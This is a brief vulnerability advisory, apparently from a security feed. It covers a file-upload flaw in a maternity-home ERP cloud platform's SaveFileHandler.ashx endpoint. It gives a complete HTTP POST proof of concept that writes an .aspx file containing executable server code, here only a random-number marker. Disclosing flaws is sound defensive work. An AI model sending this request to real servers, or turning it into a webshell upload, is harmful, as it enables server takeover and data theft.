月子会所ERP管理云平台 /Page/upload/SaveFileHandler.ashx 文件上传漏洞

2026-03-27 ERP管理云平台 PoC Public

Description

月子会所ERP管理云平台 /Page/upload/SaveFileHandler.ashx 接口在文件上传过程中，未对上传文件的类型、扩展名及内容进行充分的安全校验与过滤，导致攻击者可以上传包含恶意代码的JSP等WebShell文件。该漏洞可导致攻击者完全控制服务器，窃取敏感数据或作为进一步内网渗透的跳板，利用门槛低且危害极大，建议相关单位立即排查并修复此高危漏洞。

PoC

POST /Page/upload/SaveFileHandler.ashx HTTP/1.1
Host: 
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept:  application/json, text/javascript, */*; q=0.01
X-Requested-With:  XMLHttpRequest
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-CN;q=0.7
Content-Type: application/josn
Content-Length: 102

{
  "url": "OA/",
  "htmlname": "YYDS.aspx",
  "htmlstr": "<%= new Random().Next(100000,999999) %>"
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Maternity home ERP management cloud platform /Page/upload/SaveFileHandler.ashx File Upload Vulnerability

References

Related Vulnerabilities